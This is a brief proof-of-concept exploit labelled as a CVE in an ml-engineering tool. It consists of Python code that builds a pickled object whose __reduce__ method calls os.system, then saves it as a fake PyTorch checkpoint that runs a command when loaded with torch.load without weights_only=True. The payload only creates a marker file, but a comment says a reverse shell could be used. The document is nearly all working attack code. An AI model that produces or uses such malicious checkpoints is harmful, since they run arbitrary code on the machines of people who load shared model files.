CVE-2026-31214 ml-engineering 代码执行漏洞

import torch import pickle import os # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The command to execute: creating a file as proof of concept # In a real attack, this could be a reverse shell return (os.system, ('touch /tmp/pwned_by_cve_2026_31214',)) # Create the malicious object exploit = MaliciousPayload() # Serialize the object using pickle and save it as a .pt file # This mimics a PyTorch checkpoint file filename = 'malicious_checkpoint.pt' with open(filename, 'wb') as f: pickle.dump(exploit, f) print(f"Malicious checkpoint '{filename}' created.") print("When torch.load('malicious_checkpoint.pt') is run without weights_only=True, the command executes.")